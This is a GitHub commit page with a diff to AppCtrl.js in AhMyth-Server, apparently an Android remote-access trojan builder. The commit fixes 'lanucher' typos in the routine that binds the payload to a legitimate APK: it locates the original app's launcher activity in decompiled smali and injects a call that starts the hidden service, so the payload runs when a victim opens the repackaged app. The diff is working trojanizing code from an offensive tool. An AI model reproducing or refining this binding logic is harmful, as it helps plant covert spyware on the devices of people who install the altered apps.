Skip to content

Commit

Permalink
Fixed typos in AppCtrl.js causing some errors with extracting Launche…
Browse files Browse the repository at this point in the history
…r Activity from an original apk
  • Loading branch information
Morsmalleo committed Nov 4, 2021
1 parent 48f3f99 commit caf29c8
Showing 1 changed file with 11 additions and 11 deletions.
22 changes: 11 additions & 11 deletions AhMyth-Server/app/app/assets/js/controllers/AppCtrl.js
Original file line number Diff line number Diff line change
Expand Up @@ -244,9 +244,9 @@ app.controller("AppCtrl", ($scope) => {
return;
}

var lanucherPath = GetLanucherPath(data, path.join(apkFolder, "smali/"));
if (lanucherPath == -1) {
$appCtrl.Log("Cannot find the lanucher activity , try the other binding method.", CONSTANTS.logStatus.FAIL);
var launcherPath = GetLauncherPath(data, path.join(apkFolder, "smali/"));
if (launcherPath == -1) {
$appCtrl.Log("Cannot find the launcher activity , try the other binding method.", CONSTANTS.logStatus.FAIL);
return;
}

Expand All @@ -260,23 +260,23 @@ app.controller("AppCtrl", ($scope) => {
return;
}

$appCtrl.Log("Fetching lanucher activity...");
fs.readFile(lanucherPath, 'utf8', (error, data) => {
$appCtrl.Log("Fetching launcher activity...");
fs.readFile(launcherPath, 'utf8', (error, data) => {
if (error) {
$appCtrl.Log('Reading launcher activity Failed ', CONSTANTS.logStatus.FAIL);
return;
}


var startService = CONSTANTS.serviceSrc + lanucherPath.substring(lanucherPath.indexOf("smali/") + 6, lanucherPath.indexOf(".smali")) + CONSTANTS.serviceStart;
var startService = CONSTANTS.serviceSrc + launcherPath.substring(launcherPath.indexOf("smali/") + 6, launcherPath.indexOf(".smali")) + CONSTANTS.serviceStart;


var key = CONSTANTS.orgAppKey;
$appCtrl.Log("Modifiying lanucher activity...");
$appCtrl.Log("Modifiying launcher activity...");
var output = data.substring(0, data.indexOf(key) + key.length) + startService + data.substring(data.indexOf(key) + key.length);
fs.writeFile(lanucherPath, output, 'utf8', (error) => {
fs.writeFile(launcherPath, output, 'utf8', (error) => {
if (error) {
$appCtrl.Log('Modifying lanucher activity Failed', logStatus.FAIL);
$appCtrl.Log('Modifying launcher activity Failed', logStatus.FAIL);
return;
}

Expand Down Expand Up @@ -375,8 +375,8 @@ app.controller("AppCtrl", ($scope) => {



//function to extract the luncher activity from the orginal app
function GetLanucherPath(manifest, smaliPath) {
//function to extract the launcher activity from the orginal app
function GetLauncherPath(manifest, smaliPath) {


var regex = /<activity/gi,
Expand Down

0 comments on commit caf29c8

Please sign in to comment.